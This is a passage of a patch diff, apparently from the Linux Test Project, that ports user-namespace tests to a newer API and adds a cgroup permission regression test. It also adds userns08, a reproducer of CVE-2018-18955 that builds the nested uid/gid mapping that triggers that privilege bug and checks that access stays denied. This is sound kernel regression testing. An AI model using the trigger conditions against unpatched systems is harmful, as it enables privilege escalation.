+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
diff --git a/testcases/kernel/containers/userns/userns05.c b/testcases/kernel/containers/userns/userns05.c
index be77cb7..4c16694 100644
--- a/testcases/kernel/containers/userns/userns05.c
+++ b/testcases/kernel/containers/userns/userns05.c
@@ -1,51 +1,31 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- * A process created via fork(2) or clone(2) without the
- * CLONE_NEWUSER flag is a member of the same user namespace as its
- * parent.
- * When unshare an user namespace, the calling process is moved into
- * a new user namespace which is not shared with any previously
- * existing process.
+/*\
+ * [Description]
+ *
+ * Verify that if a process created via fork(2) or clone(2) without the
+ * CLONE_NEWUSER flag is a member of the same user namespace as its parent.
+ *
+ * When unshare an user namespace, the calling process is moved into a new user
+ * namespace which is not shared with any previously existing process.
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
+
 #include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
-
-char *TCID = "user_namespace5";
-int TST_TOTAL = 1;
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+#include "tst_test.h"
+#include "common.h"
 
 /*
  * child_fn1() - Inside a new user namespace
  */
 static int child_fn1(void)
 {
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 	return 0;
 }
 
@@ -57,86 +37,80 @@
 
 	sprintf(path, "/proc/%d/ns/user", pid);
 
-	if (readlink(path, userid, BUFSIZ) == -1)
-		tst_resm(TFAIL | TERRNO, "readlink failure.");
+	SAFE_READLINK(path, userid, BUFSIZ);
 
-	if (sscanf(userid, "user:[%u]", &id) != 1)
-		tst_resm(TFAIL, "sscanf failure.");
+	if (sscanf(userid, "user:[%u]", &id) < 0)
+		tst_brk(TBROK | TERRNO, "sscanf failure");
+
 	return id;
 }
 
-static void test_userns_id(void)
+static void run(void)
 {
 	int cpid1, cpid2, cpid3;
 	unsigned int parentuserns, cpid1userns, cpid2userns, newparentuserns;
 
 	parentuserns = getusernsidbypid(getpid());
-	cpid1 = ltp_clone_quick(SIGCHLD, (void *)child_fn1,
-		NULL);
+
+	cpid1 = ltp_clone_quick(SIGCHLD, (void *)child_fn1, NULL);
 	if (cpid1 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+		tst_brk(TBROK | TTERRNO, "clone failed");
+
 	cpid1userns = getusernsidbypid(cpid1);
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+
+	TST_CHECKPOINT_WAKE(0);
 
 	/* A process created via fork(2) or clone(2) without the
-	CLONE_NEWUSER flag is a member of the same user namespace as its
-	parent.*/
+	 * CLONE_NEWUSER flag is a member of the same user namespace as its
+	 * parent
+	 */
 	if (parentuserns != cpid1userns)
-		tst_resm(TFAIL, "userns:parent should be equal to cpid1");
+		tst_res(TFAIL, "userns:parent should be equal to cpid1");
+	else
+		tst_res(TPASS, "userns:parent is equal to cpid1");
 
-	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-		(void *)child_fn1, NULL);
+	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn1, NULL);
 	if (cpid2 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+		tst_brk(TBROK | TTERRNO, "clone failed");
+
 	cpid2userns = getusernsidbypid(cpid2);
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+
+	TST_CHECKPOINT_WAKE(0);
 
 	if (parentuserns == cpid2userns)
-		tst_resm(TFAIL, "userns:parent should be not equal to cpid2");
+		tst_res(TFAIL, "userns:parent should be not equal to cpid2");
+	else
+		tst_res(TPASS, "userns:parent is not equal to cpid2");
 
-	switch (cpid3 = fork()) {
-	case -1:
-		tst_brkm(TBROK | TERRNO, cleanup, "fork");
-	case 0:
-		if (unshare(CLONE_NEWUSER) == -1) {
-			printf("parent pid unshare failure: (%d) %s",
-				errno, strerror(errno));
-			exit(1);
-		}
+	cpid3 = SAFE_FORK();
+	if (!cpid3) {
+		SAFE_UNSHARE(CLONE_NEWUSER);
 		newparentuserns = getusernsidbypid(getpid());
 
 		/* When unshare an user namespace, the calling process
-		is moved into a new user namespace which is not shared
-		with any previously existing process.*/
+		 * is moved into a new user namespace which is not shared
+		 * with any previously existing process
+		 */
 		if (parentuserns == newparentuserns)
-			exit(1);
-		exit(0);
+			tst_res(TFAIL, "unshared namespaces with same id");
+		else
+			tst_res(TPASS, "unshared namespaces with different id");
 	}
-
-	tst_record_childstatus(cleanup, cpid1);
-	tst_record_childstatus(cleanup, cpid2);
-	tst_record_childstatus(cleanup, cpid3);
 }
 
 static void setup(void)
 {
 	check_newuser();
-
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
 }
 
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_userns_id();
-	}
-	cleanup();
-	tst_exit();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
diff --git a/testcases/kernel/containers/userns/userns06.c b/testcases/kernel/containers/userns/userns06.c
index 29f635d..002c729 100644
--- a/testcases/kernel/containers/userns/userns06.c
+++ b/testcases/kernel/containers/userns/userns06.c
@@ -1,163 +1,136 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of the GNU General Public License as published by the Free
- * Software Foundation; either version 2 of the License, or (at your option)
- * any later version. This program is distributed in the hope that it will be
- * useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
- * Public License for more details. You should have received a copy of the GNU
- * General Public License along with this program.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- * When a process with non-zero user IDs performs an execve(), the process's
- * capability sets are cleared.
+/*\
+ * [Description]
+ *
+ * Verify that when a process with non-zero user IDs performs an execve(),
+ * the process's capability sets are cleared.
  * When a process with zero user IDs performs an execve(), the process's
  * capability sets are set.
- *
  */
 
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdbool.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "libclone.h"
-#include "test.h"
+#include "tst_test.h"
 #include "config.h"
-#include "userns_helper.h"
+
+#ifdef HAVE_LIBCAP
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include "common.h"
+
+#define TEST_APP "userns06_capcheck"
 
 #define CHILD1UID 0
 #define CHILD1GID 0
 #define CHILD2UID 200
 #define CHILD2GID 200
 
-char *TCID = "user_namespace6";
-int TST_TOTAL = 1;
-
-static int cpid1, parentuid, parentgid;
-
-/*
- * child_fn1() - Inside a new user namespace
- */
 static int child_fn1(void)
 {
-	int exit_val = 0;
-	char *const args[] = { "userns06_capcheck", "privileged", NULL };
+	char *const args[] = { TEST_APP, "privileged", NULL };
+	int ret;
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 
-	if (execve(args[0], args, NULL) == -1) {
-		printf("execvp unexpected error: (%d) %s\n",
-			errno, strerror(errno));
-		exit_val = 1;
-	}
+	ret = execv(args[0], args);
+	if (ret == -1)
+		tst_brk(TBROK | TERRNO, "execv: unexpected error");
 
-	return exit_val;
+	return 0;
 }
 
-/*
- * child_fn2() - Inside a new user namespace
- */
 static int child_fn2(void)
 {
-	int exit_val = 0;
-	int uid, gid;
-	char *const args[] = { "userns06_capcheck", "unprivileged", NULL };
+	int uid, gid, ret;
+	char *const args[] = { TEST_APP, "unprivileged", NULL };
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 1);
+	TST_CHECKPOINT_WAIT(1);
 
 	uid = geteuid();
 	gid = getegid();
 
 	if (uid != CHILD2UID || gid != CHILD2GID) {
-		printf("unexpected uid=%d gid=%d\n", uid, gid);
-		exit_val = 1;
+		tst_res(TFAIL, "unexpected uid=%d gid=%d", uid, gid);
+		return 1;
 	}
 
-	if (execve(args[0], args, NULL) == -1) {
-		printf("execvp unexpected error: (%d) %s\n",
-			errno, strerror(errno));
-		exit_val = 1;
-	}
+	tst_res(TPASS, "expected uid and gid");
 
-	return exit_val;
-}
+	ret = execv(args[0], args);
+	if (ret == -1)
+		tst_brk(TBROK | TERRNO, "execv: unexpected error");
 
-static void cleanup(void)
-{
-	tst_rmdir();
+	return 0;
 }
 
 static void setup(void)
 {
 	check_newuser();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
-	TST_RESOURCE_COPY(cleanup, "userns06_capcheck", NULL);
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
+	pid_t cpid1;
 	pid_t cpid2;
+	int parentuid;
+	int parentgid;
 	char path[BUFSIZ];
-	int lc;
 	int fd;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-#ifndef HAVE_LIBCAP
-	tst_brkm(TCONF, NULL, "System is missing libcap.");
-#endif
-	setup();
+	parentuid = geteuid();
+	parentgid = getegid();
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
+	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn1, NULL);
+	if (cpid1 < 0)
+		tst_brk(TBROK | TTERRNO, "cpid1 clone failed");
 
-		parentuid = geteuid();
-		parentgid = getegid();
+	cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn2, NULL);
+	if (cpid2 < 0)
+		tst_brk(TBROK | TTERRNO, "cpid2 clone failed");
 
-		cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-			(void *)child_fn1, NULL);
-		if (cpid1 < 0)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"cpid1 clone failed");
+	if (access("/proc/self/setgroups", F_OK) == 0) {
+		sprintf(path, "/proc/%d/setgroups", cpid1);
 
-		cpid2 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-			(void *)child_fn2, NULL);
-		if (cpid2 < 0)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				"cpid2 clone failed");
+		fd = SAFE_OPEN(path, O_WRONLY, 0644);
+		SAFE_WRITE(1, fd, "deny", 4);
+		SAFE_CLOSE(fd);
 
-		if (access("/proc/self/setgroups", F_OK) == 0) {
-			sprintf(path, "/proc/%d/setgroups", cpid1);
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-			SAFE_CLOSE(cleanup, fd);
+		sprintf(path, "/proc/%d/setgroups", cpid2);
 
-			sprintf(path, "/proc/%d/setgroups", cpid2);
-			fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-			SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-			SAFE_CLOSE(cleanup, fd);
-		}
-
-		updatemap(cpid1, UID_MAP, CHILD1UID, parentuid, cleanup);
-		updatemap(cpid2, UID_MAP, CHILD2UID, parentuid, cleanup);
-
-		updatemap(cpid1, GID_MAP, CHILD1GID, parentgid, cleanup);
-		updatemap(cpid2, GID_MAP, CHILD2GID, parentgid, cleanup);
-
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 1);
-
-		tst_record_childstatus(cleanup, cpid1);
-		tst_record_childstatus(cleanup, cpid2);
+		fd = SAFE_OPEN(path, O_WRONLY, 0644);
+		SAFE_WRITE(1, fd, "deny", 4);
+		SAFE_CLOSE(fd);
 	}
-	cleanup();
-	tst_exit();
+
+	updatemap(cpid1, UID_MAP, CHILD1UID, parentuid);
+	updatemap(cpid2, UID_MAP, CHILD2UID, parentuid);
+
+	updatemap(cpid1, GID_MAP, CHILD1GID, parentgid);
+	updatemap(cpid2, GID_MAP, CHILD2GID, parentgid);
+
+	TST_CHECKPOINT_WAKE(0);
+	TST_CHECKPOINT_WAKE(1);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.resource_files = (const char *[]) {
+		TEST_APP,
+		NULL,
+	},
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
+
+#else
+TST_TEST_TCONF("System is missing libcap");
+#endif
diff --git a/testcases/kernel/containers/userns/userns06_capcheck.c b/testcases/kernel/containers/userns/userns06_capcheck.c
index 31f7e0a..c048ef6 100644
--- a/testcases/kernel/containers/userns/userns06_capcheck.c
+++ b/testcases/kernel/containers/userns/userns06_capcheck.c
@@ -1,74 +1,69 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
- */
-
-/*
- * Verify that:
  * When a process with non-zero user IDs performs an execve(), the
  * process's capability sets are cleared. When a process with zero
  * user IDs performs an execve(), the process's capability sets
  * are set.
  */
 
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "libclone.h"
-#include "test.h"
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 #include "config.h"
-#if HAVE_SYS_CAPABILITY_H
-#include <sys/capability.h>
-#endif
 
-char *TCID = "userns06_capcheck";
-int TST_TOTAL = 1;
+#ifdef HAVE_LIBCAP
+#define _GNU_SOURCE
+
+#include <string.h>
+#include <sys/wait.h>
+#include <sys/capability.h>
 
 int main(int argc, char *argv[])
 {
-#ifdef HAVE_LIBCAP
 	cap_t caps;
 	int i, last_cap;
 	cap_flag_value_t flag_val;
 	cap_flag_value_t expected_flag = 1;
-#endif
-	tst_parse_opts(argc, argv, NULL, NULL);
 
-#ifdef HAVE_LIBCAP
+	tst_reinit();
+
+	if (argc < 2)
+		tst_brk(TBROK, "userns06_capcheck <privileged|unprivileged>");
+
+	SAFE_FILE_SCANF("/proc/sys/kernel/cap_last_cap", "%d", &last_cap);
+
 	if (strcmp("privileged", argv[1]))
 		expected_flag = 0;
 
 	caps = cap_get_proc();
-	SAFE_FILE_SCANF(NULL, "/proc/sys/kernel/cap_last_cap", "%d", &last_cap);
+
 	for (i = 0; i <= last_cap; i++) {
 		cap_get_flag(caps, i, CAP_EFFECTIVE, &flag_val);
 		if (flag_val != expected_flag)
 			break;
+
 		cap_get_flag(caps, i, CAP_PERMITTED, &flag_val);
 		if (flag_val != expected_flag)
 			break;
 	}
 
-	if (flag_val != expected_flag) {
-		printf("unexpected effective/permitted caps at %d\n", i);
-		exit(1);
-	}
+	if (flag_val != expected_flag)
+		tst_res(TFAIL, "unexpected effective/permitted caps at %d", i);
+	else
+		tst_res(TPASS, "expected caps at %d", i);
+
+	return 0;
+}
 
 #else
-	printf("System is missing libcap.\n");
-#endif
-	tst_exit();
+int main(void)
+{
+	tst_reinit();
+
+	tst_brk(TCONF, "System is missing libcap");
+
+	return 0;
 }
+#endif
diff --git a/testcases/kernel/containers/userns/userns07.c b/testcases/kernel/containers/userns/userns07.c
index 4991596..4659de6 100644
--- a/testcases/kernel/containers/userns/userns07.c
+++ b/testcases/kernel/containers/userns/userns07.c
@@ -1,47 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Verify that:
- * The kernel imposes a limit of at least 32 nested levels on user namespaces.
+/*\
+ * [Description]
+ *
+ * Verify that the kernel allows at least 32 nested levels of user namespaces.
  */
 
 #define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
+
 #include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "userns_helper.h"
-#include "test.h"
+#include <sys/wait.h>
+#include "common.h"
+#include "tst_test.h"
 
 #define MAXNEST 32
 
-char *TCID = "userns07";
-int TST_TOTAL = 1;
-
 static void setup(void)
 {
 	check_newuser();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(NULL);
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
 }
 
 static int child_fn1(void *arg)
@@ -52,82 +32,67 @@
 	int parentuid;
 	int parentgid;
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 
-	if (level == MAXNEST)
+	if (level == MAXNEST) {
+		tst_res(TPASS, "nested all children");
 		return 0;
-	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-		(void *)child_fn1, (void *)(level + 1));
+	}
+
+	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn1, (void *)(level + 1));
 	if (cpid1 < 0) {
-		printf("level %ld:unexpected error: (%d) %s\n",
-			level, errno, strerror(errno));
+		tst_res(TFAIL | TERRNO, "level %ld, unexpected error", level);
 		return 1;
 	}
 
 	parentuid = geteuid();
 	parentgid = getegid();
 
-	updatemap(cpid1, UID_MAP, 0, parentuid, NULL);
-	updatemap(cpid1, GID_MAP, 0, parentgid, NULL);
+	updatemap(cpid1, UID_MAP, 0, parentuid);
+	updatemap(cpid1, GID_MAP, 0, parentgid);
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+	TST_CHECKPOINT_WAKE(0);
 
-	if (waitpid(cpid1, &status, 0) == -1)
-		return 1;
+	SAFE_WAITPID(cpid1, &status, 0);
 
-	if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {
-		printf("child exited abnormally\n");
-		return 1;
-	} else if (WIFSIGNALED(status)) {
-		printf("child was killed with signal = %d", WTERMSIG(status));
-		return 1;
-	}
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_brk(TBROK, "child %s", tst_strstatus(status));
+
 	return 0;
 }
 
-static void test_max_nest(void)
+static void run(void)
 {
 	pid_t cpid1;
 	int parentuid;
 	int parentgid;
-	int fd;
 	char path[BUFSIZ];
 
-	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD,
-		(void *)child_fn1, (void *)0);
+	cpid1 = ltp_clone_quick(CLONE_NEWUSER | SIGCHLD, (void *)child_fn1, (void *)0);
 	if (cpid1 < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
+		tst_brk(TBROK | TTERRNO, "clone failed");
 
 	parentuid = geteuid();
 	parentgid = getegid();
 
 	if (access("/proc/self/setgroups", F_OK) == 0) {
 		sprintf(path, "/proc/%d/setgroups", cpid1);
-		fd = SAFE_OPEN(cleanup, path, O_WRONLY, 0644);
-		SAFE_WRITE(cleanup, 1, fd, "deny", 4);
-		SAFE_CLOSE(cleanup, fd);
+		SAFE_FILE_PRINTF(path, "deny");
 	}
 
-	updatemap(cpid1, UID_MAP, 0, parentuid, cleanup);
-	updatemap(cpid1, GID_MAP, 0, parentgid, cleanup);
+	updatemap(cpid1, UID_MAP, 0, parentuid);
+	updatemap(cpid1, GID_MAP, 0, parentgid);
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-	tst_record_childstatus(cleanup, cpid1);
+	TST_CHECKPOINT_WAKE(0);
 }
 
-int main(int argc, char *argv[])
-{
-	int lc;
-
-	setup();
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		test_max_nest();
-	}
-
-	cleanup();
-	tst_exit();
-}
-
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL,
+	},
+};
diff --git a/testcases/kernel/containers/userns/userns08.c b/testcases/kernel/containers/userns/userns08.c
new file mode 100644
index 0000000..bde944f
--- /dev/null
+++ b/testcases/kernel/containers/userns/userns08.c
@@ -0,0 +1,146 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Reproducer of CVE-2018-18955; broken uid/gid mapping for nested
+ * user namespaces with >5 ranges
+ *
+ * See original reproducer and description by Jan Horn:
+ * https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
+ *
+ * Note that calling seteuid from root can cause the dumpable bit to
+ * be unset. The proc files of non dumpable processes are then owned
+ * by (the real) root. So on the second level we reset dumpable to 1.
+ *
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/prctl.h>
+#include <sys/mount.h>
+
+#include "tst_test.h"
+#include "tst_clone.h"
+#include "lapi/clone.h"
+#include "tst_safe_file_at.h"
+
+static pid_t clone_newuser(void)
+{
+	const struct tst_clone_args cargs = {
+		CLONE_NEWUSER,
+		SIGCHLD
+	};
+
+	return SAFE_CLONE(&cargs);
+}
+
+static void write_mapping(const pid_t proc_in_ns,
+			  const char *const id_mapping)
+{
+	char proc_path[PATH_MAX];
+	int proc_dir;
+
+	sprintf(proc_path, "/proc/%d", (int)proc_in_ns);
+	proc_dir = SAFE_OPEN(proc_path, O_DIRECTORY);
+
+	TEST(faccessat(proc_dir, "uid_map", F_OK, 0));
+	if (TST_RET && TST_ERR == ENOENT)
+		tst_brk(TCONF, "No uid_map file; interface was added in v3.5");
+
+	SAFE_FILE_PRINTFAT(proc_dir, "setgroups", "%s", "deny");
+	SAFE_FILE_PRINTFAT(proc_dir, "uid_map", "%s", id_mapping);
+	SAFE_FILE_PRINTFAT(proc_dir, "gid_map", "%s", id_mapping);
+
+	SAFE_CLOSE(proc_dir);
+}
+
+static void ns_level2(void)
+{
+	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0))
+		tst_res(TINFO | TERRNO, "Failed to set dumpable flag");
+	TST_CHECKPOINT_WAKE_AND_WAIT(1);
+
+	TST_EXP_FAIL(open("restricted", O_WRONLY), EACCES,
+		     "Denied write access to ./restricted");
+
+	exit(0);
+}
+
+static void ns_level1(void)
+{
+	const char *const map_over_5 = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 990";
+	pid_t level2_proc;
+
+	TST_CHECKPOINT_WAIT(0);
+
+	SAFE_SETGID(0);
+	SAFE_SETUID(0);
+
+	level2_proc = clone_newuser();
+	if (!level2_proc)
+		ns_level2();
+
+	TST_CHECKPOINT_WAIT(1);
+
+	write_mapping(level2_proc, map_over_5);
+
+	TST_CHECKPOINT_WAKE(1);
+	tst_reap_children();
+
+	exit(0);
+}
+
+static void run(void)
+{
+	pid_t level1_proc;
+
+	SAFE_SETEGID(100000);
+	SAFE_SETEUID(100000);
+
+	level1_proc = clone_newuser();
+	if (!level1_proc)
+		ns_level1();
+
+	SAFE_SETEGID(0);
+	SAFE_SETEUID(0);
+
+	write_mapping(level1_proc, "0 100000 1000");
+
+	TST_CHECKPOINT_WAKE(0);
+	tst_reap_children();
+}
+
+static void setup(void)
+{
+	int fd = SAFE_OPEN("restricted", O_CREAT | O_WRONLY, 0700);
+
+	SAFE_WRITE(fd, 1, "\n", 1);
+	SAFE_CLOSE(fd);
+
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_checkpoints = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "d2f007dbe7e4"},
+		{"CVE", "CVE-2018-18955"},
+		{}
+	},
+};
diff --git a/testcases/kernel/controllers/Makefile b/testcases/kernel/controllers/Makefile
index 548692c..874fd58 100644
--- a/testcases/kernel/controllers/Makefile
+++ b/testcases/kernel/controllers/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/controllers/cgroup/.gitignore b/testcases/kernel/controllers/cgroup/.gitignore
index eb91cc4..382f2d9 100644
--- a/testcases/kernel/controllers/cgroup/.gitignore
+++ b/testcases/kernel/controllers/cgroup/.gitignore
@@ -1,3 +1,4 @@
 /cgroup_regression_fork_processes
 /cgroup_regression_getdelays
 /cgroup_regression_6_2
+/cgroup_core01
diff --git a/testcases/kernel/controllers/cgroup/cgroup_core01.c b/testcases/kernel/controllers/cgroup/cgroup_core01.c
new file mode 100644
index 0000000..fc60ae5
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_core01.c
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * When a task is writing to an fd opened by a different task, the perm check
+ * should use the credentials of the latter task.
+ *
+ * It is copy from kernel selftests cgroup test_core test_cgcore_lesser_euid_open
+ * subcase. The difference is that kernel selftest only supports cgroup v2 but
+ * here we also support cgroup v1 and v2.
+ *
+ * It is a regression test for
+ *
+ * commit e57457641613fef0d147ede8bd6a3047df588b95
+ * Author: Tejun Heo <tj@kernel.org>
+ * Date:   Thu Jan 6 11:02:29 2022 -1000
+ *
+ * cgroup: Use open-time cgroup namespace for process migration perm checks
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <pwd.h>
+#include "tst_test.h"
+#include "tst_safe_file_at.h"
+
+static struct tst_cg_group *cg_child_a, *cg_child_b;
+static uid_t nobody_uid, save_uid;
+
+static void test_lesser_euid_open(void)
+{
+	int fds[TST_CG_ROOTS_MAX] = {-1};
+	int i, loops;
+
+	cg_child_a = tst_cg_group_mk(tst_cg, "child_a");
+	cg_child_b = tst_cg_group_mk(tst_cg, "child_b");
+
+	if (!SAFE_FORK()) {
+		SAFE_CG_PRINT(cg_child_a, "cgroup.procs", "0");
+		SAFE_CG_FCHOWN(cg_child_a, "cgroup.procs",  nobody_uid, -1);
+		SAFE_CG_FCHOWN(cg_child_b, "cgroup.procs",  nobody_uid, -1);
+		SAFE_SETEUID(nobody_uid);
+
+		loops = SAFE_CG_OPEN(cg_child_b, "cgroup.procs", O_RDWR, fds);
+		SAFE_SETEUID(save_uid);
+
+		for (i = 0; i < loops; i++) {
+			if (fds[i] < 1) {
+				tst_res(TFAIL, "unexpected negative fd %d", fds[i]);
+				exit(1);
+			}
+
+			TEST(write(fds[i], "0", 1));
+			if (TST_RET >= 0 || TST_ERR != EACCES)
+				tst_res(TFAIL, "%s failed", __func__);
+			else
+				tst_res(TPASS | TTERRNO, "%s passed", __func__);
+
+			SAFE_CLOSE(fds[i]);
+		}
+		exit(0);
+	}
+
+	tst_reap_children();
+	cg_child_b = tst_cg_group_rm(cg_child_b);
+	cg_child_a = tst_cg_group_rm(cg_child_a);
+}
+
+static void setup(void)
